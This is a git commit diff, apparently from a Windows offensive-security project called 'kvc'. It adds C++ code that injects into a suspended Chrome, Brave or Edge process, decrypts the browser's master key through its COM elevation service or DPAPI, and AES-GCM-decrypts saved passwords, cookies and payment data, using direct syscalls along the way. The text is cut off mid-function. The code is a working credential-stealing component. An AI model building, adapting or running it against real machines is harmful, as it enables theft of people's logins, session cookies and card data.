Aktualizacja: 2025-09-30 15:30:24
This commit is contained in:
BIN
images/kvc_00.jpg
Normal file
BIN
images/kvc_00.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 161 KiB |
4
kvc.sln
4
kvc.sln
@@ -9,6 +9,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_crypt", "kvc\kvc_crypt.
|
|||||||
EndProject
|
EndProject
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kvc_pass", "kvc\kvc_pass.vcxproj", "{12345678-1234-1234-1234-123456789ABC}"
|
||||||
EndProject
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KvcXor", "kvc\KvcXor.vcxproj", "{A905154D-F1EC-4821-9717-9F6D35F69F3F}"
|
||||||
|
EndProject
|
||||||
Global
|
Global
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
Release|x64 = Release|x64
|
Release|x64 = Release|x64
|
||||||
@@ -20,6 +22,8 @@ Global
|
|||||||
{87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64
|
{87654321-4321-4321-4321-123456789DEF}.Release|x64.Build.0 = Release|x64
|
||||||
{12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64
|
{12345678-1234-1234-1234-123456789ABC}.Release|x64.ActiveCfg = Release|x64
|
||||||
{12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64
|
{12345678-1234-1234-1234-123456789ABC}.Release|x64.Build.0 = Release|x64
|
||||||
|
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{A905154D-F1EC-4821-9717-9F6D35F69F3F}.Release|x64.Build.0 = Release|x64
|
||||||
EndGlobalSection
|
EndGlobalSection
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
HideSolutionNode = FALSE
|
HideSolutionNode = FALSE
|
||||||
|
|||||||
397
kvc/BrowserCrypto.cpp
Normal file
397
kvc/BrowserCrypto.cpp
Normal file
@@ -0,0 +1,397 @@
|
|||||||
|
// BrowserCrypto.cpp - Browser-specific cryptographic operations
|
||||||
|
// Implements selective COM/DPAPI strategy based on browser and data type
|
||||||
|
#include "BrowserCrypto.h"
|
||||||
|
#include "CommunicationModule.h"
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <wrl/client.h>
|
||||||
|
#include <bcrypt.h>
|
||||||
|
#include <Wincrypt.h>
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <stdexcept>
|
||||||
|
#include <algorithm>
|
||||||
|
|
||||||
|
#pragma comment(lib, "bcrypt.lib")
|
||||||
|
#pragma comment(lib, "Crypt32.lib")
|
||||||
|
#pragma comment(lib, "ole32.lib")
|
||||||
|
#pragma comment(lib, "shell32.lib")
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
namespace Browser
|
||||||
|
{
|
||||||
|
// Browser-specific configuration database
|
||||||
|
// Contains COM CLSIDs, IIDs, and file paths for each supported browser
|
||||||
|
const std::unordered_map<std::string, Config>& GetConfigs()
|
||||||
|
{
|
||||||
|
static const std::unordered_map<std::string, Config> browser_configs = {
|
||||||
|
{"chrome", {"Chrome", L"chrome.exe",
|
||||||
|
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
||||||
|
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
||||||
|
fs::path("Google") / "Chrome" / "User Data"}},
|
||||||
|
{"brave", {"Brave", L"brave.exe",
|
||||||
|
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
||||||
|
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
||||||
|
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
|
||||||
|
{"edge", {"Edge", L"msedge.exe",
|
||||||
|
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
||||||
|
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
||||||
|
fs::path("Microsoft") / "Edge" / "User Data"}}
|
||||||
|
};
|
||||||
|
return browser_configs;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Determines browser configuration based on current process executable name
|
||||||
|
Config GetConfigForCurrentProcess()
|
||||||
|
{
|
||||||
|
char exePath[MAX_PATH] = {0};
|
||||||
|
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||||||
|
std::string processName = fs::path(exePath).filename().string();
|
||||||
|
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
|
||||||
|
|
||||||
|
const auto& configs = GetConfigs();
|
||||||
|
if (processName == "chrome.exe") return configs.at("chrome");
|
||||||
|
if (processName == "brave.exe") return configs.at("brave");
|
||||||
|
if (processName == "msedge.exe") return configs.at("edge");
|
||||||
|
|
||||||
|
throw std::runtime_error("Unsupported host process: " + processName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace Crypto
|
||||||
|
{
|
||||||
|
// Encryption scheme identifier prefixes
|
||||||
|
const uint8_t CHROME_KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
|
||||||
|
const uint8_t EDGE_KEY_PREFIX[] = {'D', 'P', 'A', 'P', 'I'};
|
||||||
|
const std::string V10_PREFIX = "v10";
|
||||||
|
const std::string V20_PREFIX = "v20";
|
||||||
|
|
||||||
|
// RAII wrapper for BCrypt algorithm handle
|
||||||
|
class BCryptAlgorithm
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
BCryptAlgorithm() {
|
||||||
|
BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0);
|
||||||
|
}
|
||||||
|
~BCryptAlgorithm() {
|
||||||
|
if (handle) BCryptCloseAlgorithmProvider(handle, 0);
|
||||||
|
}
|
||||||
|
operator BCRYPT_ALG_HANDLE() const { return handle; }
|
||||||
|
bool IsValid() const { return handle != nullptr; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
BCRYPT_ALG_HANDLE handle = nullptr;
|
||||||
|
};
|
||||||
|
|
||||||
|
// RAII wrapper for BCrypt key handle
|
||||||
|
class BCryptKey
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
|
||||||
|
{
|
||||||
|
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
|
||||||
|
const_cast<PUCHAR>(key.data()),
|
||||||
|
static_cast<ULONG>(key.size()), 0);
|
||||||
|
}
|
||||||
|
~BCryptKey() {
|
||||||
|
if (handle) BCryptDestroyKey(handle);
|
||||||
|
}
|
||||||
|
operator BCRYPT_KEY_HANDLE() const { return handle; }
|
||||||
|
bool IsValid() const { return handle != nullptr; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
BCRYPT_KEY_HANDLE handle = nullptr;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Decrypts AES-GCM encrypted data using provided key
|
||||||
|
// Supports both v10 and v20 encryption schemes
|
||||||
|
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
|
||||||
|
{
|
||||||
|
std::string detectedPrefix;
|
||||||
|
size_t prefixLength = 0;
|
||||||
|
|
||||||
|
// Detect encryption scheme version
|
||||||
|
if (blob.size() >= 3)
|
||||||
|
{
|
||||||
|
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
|
||||||
|
{
|
||||||
|
detectedPrefix = V10_PREFIX;
|
||||||
|
prefixLength = V10_PREFIX.length();
|
||||||
|
}
|
||||||
|
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
|
||||||
|
{
|
||||||
|
detectedPrefix = V20_PREFIX;
|
||||||
|
prefixLength = V20_PREFIX.length();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate blob size
|
||||||
|
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
||||||
|
if (blob.size() < GCM_OVERHEAD_LENGTH)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
// Initialize AES-GCM decryption
|
||||||
|
BCryptAlgorithm algorithm;
|
||||||
|
if (!algorithm.IsValid())
|
||||||
|
return {};
|
||||||
|
|
||||||
|
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
|
||||||
|
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
||||||
|
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
||||||
|
|
||||||
|
BCryptKey cryptoKey(algorithm, key);
|
||||||
|
if (!cryptoKey.IsValid())
|
||||||
|
return {};
|
||||||
|
|
||||||
|
// Extract IV, ciphertext, and authentication tag
|
||||||
|
const uint8_t* iv = blob.data() + prefixLength;
|
||||||
|
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
||||||
|
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
|
||||||
|
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
|
||||||
|
|
||||||
|
// Configure authenticated cipher mode
|
||||||
|
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
||||||
|
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
||||||
|
authInfo.pbNonce = const_cast<PUCHAR>(iv);
|
||||||
|
authInfo.cbNonce = GCM_IV_LENGTH;
|
||||||
|
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
||||||
|
authInfo.cbTag = GCM_TAG_LENGTH;
|
||||||
|
|
||||||
|
// Perform decryption
|
||||||
|
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
|
||||||
|
ULONG outLen = 0;
|
||||||
|
|
||||||
|
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
|
||||||
|
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()),
|
||||||
|
&outLen, 0);
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
return {};
|
||||||
|
|
||||||
|
plain.resize(outLen);
|
||||||
|
return plain;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extracts encrypted master key from browser's Local State file
|
||||||
|
// Handles both APPB (COM) and DPAPI blob formats
|
||||||
|
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
|
||||||
|
{
|
||||||
|
std::ifstream f(localStatePath, std::ios::binary);
|
||||||
|
if (!f)
|
||||||
|
throw std::runtime_error("Could not open Local State file.");
|
||||||
|
|
||||||
|
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||||
|
|
||||||
|
// Search for encrypted key in JSON
|
||||||
|
std::string tag = "\"app_bound_encrypted_key\":\"";
|
||||||
|
size_t pos = content.find(tag);
|
||||||
|
|
||||||
|
if (pos == std::string::npos) {
|
||||||
|
tag = "\"encrypted_key\":\"";
|
||||||
|
pos = content.find(tag);
|
||||||
|
if (pos == std::string::npos)
|
||||||
|
throw std::runtime_error("Encrypted key not found in Local State.");
|
||||||
|
}
|
||||||
|
|
||||||
|
pos += tag.length();
|
||||||
|
size_t end_pos = content.find('"', pos);
|
||||||
|
if (end_pos == std::string::npos)
|
||||||
|
throw std::runtime_error("Malformed encrypted key format.");
|
||||||
|
|
||||||
|
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
|
||||||
|
if (!optDecoded)
|
||||||
|
throw std::runtime_error("Base64 decoding of encrypted key failed.");
|
||||||
|
|
||||||
|
auto& decodedData = *optDecoded;
|
||||||
|
|
||||||
|
// Check for APPB prefix (COM-encrypted key)
|
||||||
|
if (decodedData.size() >= sizeof(CHROME_KEY_PREFIX) &&
|
||||||
|
memcmp(decodedData.data(), CHROME_KEY_PREFIX, sizeof(CHROME_KEY_PREFIX)) == 0)
|
||||||
|
{
|
||||||
|
return {decodedData.begin() + sizeof(CHROME_KEY_PREFIX), decodedData.end()};
|
||||||
|
}
|
||||||
|
// Check for DPAPI blob header (0x01000000)
|
||||||
|
else if (decodedData.size() >= 4 &&
|
||||||
|
decodedData[0] == 0x01 && decodedData[1] == 0x00 &&
|
||||||
|
decodedData[2] == 0x00 && decodedData[3] == 0x00)
|
||||||
|
{
|
||||||
|
return decodedData;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw std::runtime_error("Unknown key format - not APPB or DPAPI blob.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
BrowserManager::BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
|
||||||
|
|
||||||
|
fs::path BrowserManager::getUserDataRoot() const
|
||||||
|
{
|
||||||
|
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
MasterKeyDecryptor::MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) {}
|
||||||
|
|
||||||
|
MasterKeyDecryptor::~MasterKeyDecryptor()
|
||||||
|
{
|
||||||
|
if (m_comInitialized)
|
||||||
|
{
|
||||||
|
CoUninitialize();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypts master key using browser's COM elevation service
|
||||||
|
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithCOM(const Browser::Config& config,
|
||||||
|
const std::vector<uint8_t>& encryptedKeyBlob)
|
||||||
|
{
|
||||||
|
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
|
||||||
|
static_cast<UINT>(encryptedKeyBlob.size()));
|
||||||
|
if (!bstrEncKey)
|
||||||
|
throw std::runtime_error("Failed to allocate BSTR for encrypted key.");
|
||||||
|
|
||||||
|
BSTR bstrPlainKey = nullptr;
|
||||||
|
HRESULT hr = E_FAIL;
|
||||||
|
DWORD comErr = 0;
|
||||||
|
|
||||||
|
// Edge uses different COM interface than Chrome/Brave
|
||||||
|
if (config.name == "Edge")
|
||||||
|
{
|
||||||
|
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
||||||
|
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
||||||
|
if (SUCCEEDED(hr))
|
||||||
|
{
|
||||||
|
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||||
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||||
|
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
||||||
|
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
||||||
|
if (SUCCEEDED(hr))
|
||||||
|
{
|
||||||
|
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||||
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||||
|
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
SysFreeString(bstrEncKey);
|
||||||
|
|
||||||
|
// Validate decryption result
|
||||||
|
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
|
||||||
|
{
|
||||||
|
if (bstrPlainKey) SysFreeString(bstrPlainKey);
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << "COM elevation decryption failed for " << config.name << ". HRESULT: 0x"
|
||||||
|
<< std::hex << hr;
|
||||||
|
throw std::runtime_error(oss.str());
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
|
||||||
|
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
|
||||||
|
SysFreeString(bstrPlainKey);
|
||||||
|
|
||||||
|
return aesKey;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypts master key using Windows DPAPI
|
||||||
|
// Used for Edge passwords when orchestrator provides pre-decrypted key
|
||||||
|
std::vector<uint8_t> MasterKeyDecryptor::DecryptWithDPAPI(const fs::path& localStatePath)
|
||||||
|
{
|
||||||
|
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
||||||
|
|
||||||
|
DATA_BLOB inputBlob = {
|
||||||
|
static_cast<DWORD>(encryptedKeyBlob.size()),
|
||||||
|
encryptedKeyBlob.data()
|
||||||
|
};
|
||||||
|
DATA_BLOB outputBlob = {};
|
||||||
|
|
||||||
|
BOOL result = CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
|
||||||
|
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob);
|
||||||
|
|
||||||
|
if (!result)
|
||||||
|
{
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
std::ostringstream oss;
|
||||||
|
oss << "DPAPI decryption failed. Error: 0x" << std::hex << error;
|
||||||
|
m_logger.Log("[-] " + oss.str());
|
||||||
|
throw std::runtime_error(oss.str());
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> aesKey(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
|
||||||
|
LocalFree(outputBlob.pbData);
|
||||||
|
|
||||||
|
if (aesKey.size() != Crypto::KEY_SIZE)
|
||||||
|
{
|
||||||
|
std::string errMsg = "Decrypted key size mismatch: " + std::to_string(aesKey.size()) +
|
||||||
|
", expected: " + std::to_string(Crypto::KEY_SIZE);
|
||||||
|
m_logger.Log("[-] " + errMsg);
|
||||||
|
throw std::runtime_error(errMsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
return aesKey;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Main decryption entry point - selects strategy based on browser and data type
|
||||||
|
std::vector<uint8_t> MasterKeyDecryptor::Decrypt(const Browser::Config& config,
|
||||||
|
const fs::path& localStatePath,
|
||||||
|
DataType dataType)
|
||||||
|
{
|
||||||
|
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
|
||||||
|
|
||||||
|
// Edge passwords use DPAPI without process requirement
|
||||||
|
if (config.name == "Edge" && dataType == DataType::Passwords)
|
||||||
|
{
|
||||||
|
m_logger.Log("[*] Using DPAPI decryption for Edge passwords (no process required)");
|
||||||
|
auto aesKey = DecryptWithDPAPI(localStatePath);
|
||||||
|
m_logger.Log("[+] Edge DPAPI decryption successful for passwords");
|
||||||
|
return aesKey;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// All other scenarios use COM elevation
|
||||||
|
std::string dataTypeStr = "data";
|
||||||
|
switch (dataType) {
|
||||||
|
case DataType::Cookies: dataTypeStr = "cookies"; break;
|
||||||
|
case DataType::Payments: dataTypeStr = "payments"; break;
|
||||||
|
case DataType::Passwords: dataTypeStr = "passwords"; break;
|
||||||
|
default: dataTypeStr = "data"; break;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_logger.Log("[*] Using COM elevation for " + config.name + " " + dataTypeStr);
|
||||||
|
|
||||||
|
if (!m_comInitialized)
|
||||||
|
{
|
||||||
|
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
|
||||||
|
{
|
||||||
|
throw std::runtime_error("Failed to initialize COM library.");
|
||||||
|
}
|
||||||
|
m_comInitialized = true;
|
||||||
|
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
|
||||||
|
}
|
||||||
|
|
||||||
|
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
||||||
|
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
|
||||||
|
|
||||||
|
auto aesKey = DecryptWithCOM(config, encryptedKeyBlob);
|
||||||
|
m_logger.Log("[+] " + config.name + " COM elevation decryption successful for " + dataTypeStr);
|
||||||
|
return aesKey;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
123
kvc/BrowserCrypto.h
Normal file
123
kvc/BrowserCrypto.h
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
// BrowserCrypto.h - Cryptographic operations and browser-specific configurations
|
||||||
|
// Implements selective decryption strategy for different data types and browsers
|
||||||
|
|
||||||
|
#ifndef BROWSER_CRYPTO_H
|
||||||
|
#define BROWSER_CRYPTO_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <unordered_map>
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
namespace SecurityComponents
|
||||||
|
{
|
||||||
|
class PipeLogger;
|
||||||
|
|
||||||
|
// Data type enumeration for selective decryption strategy
|
||||||
|
enum class DataType {
|
||||||
|
Passwords, // Use DPAPI for Edge passwords (no process required)
|
||||||
|
Cookies, // Use COM elevation for browser cookies
|
||||||
|
Payments, // Use COM elevation for payment information
|
||||||
|
All // Default behavior - use appropriate method per browser
|
||||||
|
};
|
||||||
|
|
||||||
|
// Browser-specific configuration and COM interface definitions
|
||||||
|
namespace Browser
|
||||||
|
{
|
||||||
|
struct Config
|
||||||
|
{
|
||||||
|
std::string name;
|
||||||
|
std::wstring processName;
|
||||||
|
CLSID clsid;
|
||||||
|
IID iid;
|
||||||
|
fs::path userDataSubPath;
|
||||||
|
};
|
||||||
|
|
||||||
|
const std::unordered_map<std::string, Config>& GetConfigs();
|
||||||
|
Config GetConfigForCurrentProcess();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cryptographic operations for AES-GCM decryption and key management
|
||||||
|
namespace Crypto
|
||||||
|
{
|
||||||
|
constexpr size_t KEY_SIZE = 32;
|
||||||
|
constexpr size_t GCM_IV_LENGTH = 12;
|
||||||
|
constexpr size_t GCM_TAG_LENGTH = 16;
|
||||||
|
|
||||||
|
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob);
|
||||||
|
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
class BrowserManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
BrowserManager();
|
||||||
|
const Browser::Config& getConfig() const noexcept { return m_config; }
|
||||||
|
fs::path getUserDataRoot() const;
|
||||||
|
|
||||||
|
private:
|
||||||
|
Browser::Config m_config;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Master key decryptor with selective strategy per data type
|
||||||
|
class MasterKeyDecryptor
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit MasterKeyDecryptor(PipeLogger& logger);
|
||||||
|
~MasterKeyDecryptor();
|
||||||
|
|
||||||
|
// Main decryption interface - intelligently chooses COM or DPAPI
|
||||||
|
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath, DataType dataType = DataType::All);
|
||||||
|
|
||||||
|
private:
|
||||||
|
PipeLogger& m_logger;
|
||||||
|
bool m_comInitialized = false;
|
||||||
|
|
||||||
|
std::vector<uint8_t> DecryptWithCOM(const Browser::Config& config, const std::vector<uint8_t>& encryptedKeyBlob);
|
||||||
|
std::vector<uint8_t> DecryptWithDPAPI(const fs::path& localStatePath);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// COM interface definitions
|
||||||
|
enum class ProtectionLevel
|
||||||
|
{
|
||||||
|
None = 0,
|
||||||
|
PathValidationOld = 1,
|
||||||
|
PathValidation = 2,
|
||||||
|
Max = 3
|
||||||
|
};
|
||||||
|
|
||||||
|
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||||
|
IOriginalBaseElevator : public IUnknown
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
|
||||||
|
IEdgeElevatorBase_Placeholder : public IUnknown
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||||
|
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
|
||||||
|
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
|
||||||
|
|
||||||
|
#endif // BROWSER_CRYPTO_H
|
||||||
File diff suppressed because it is too large
Load Diff
207
kvc/BrowserProcessManager.cpp
Normal file
207
kvc/BrowserProcessManager.cpp
Normal file
@@ -0,0 +1,207 @@
|
|||||||
|
// BrowserProcessManager.cpp - Browser process management and cleanup operations
|
||||||
|
#include "BrowserProcessManager.h"
|
||||||
|
#include "syscalls.h"
|
||||||
|
#include <stdexcept>
|
||||||
|
|
||||||
|
#ifndef IMAGE_FILE_MACHINE_AMD64
|
||||||
|
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef IMAGE_FILE_MACHINE_I386
|
||||||
|
#define IMAGE_FILE_MACHINE_I386 0x014c
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Handle cleanup using direct syscall
|
||||||
|
void HandleDeleter::operator()(HANDLE h) const noexcept
|
||||||
|
{
|
||||||
|
if (h && h != INVALID_HANDLE_VALUE)
|
||||||
|
NtClose_syscall(h);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Constructor initializes target process context
|
||||||
|
TargetProcess::TargetProcess(const Configuration& config, const Console& console)
|
||||||
|
: m_config(config), m_console(console) {}
|
||||||
|
|
||||||
|
// Creates suspended browser process for safe injection
|
||||||
|
void TargetProcess::createSuspended()
|
||||||
|
{
|
||||||
|
m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process.");
|
||||||
|
m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath));
|
||||||
|
|
||||||
|
STARTUPINFOW si{};
|
||||||
|
PROCESS_INFORMATION pi{};
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
|
||||||
|
if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr,
|
||||||
|
FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi))
|
||||||
|
throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError()));
|
||||||
|
|
||||||
|
m_hProcess.reset(pi.hProcess);
|
||||||
|
m_hThread.reset(pi.hThread);
|
||||||
|
m_pid = pi.dwProcessId;
|
||||||
|
|
||||||
|
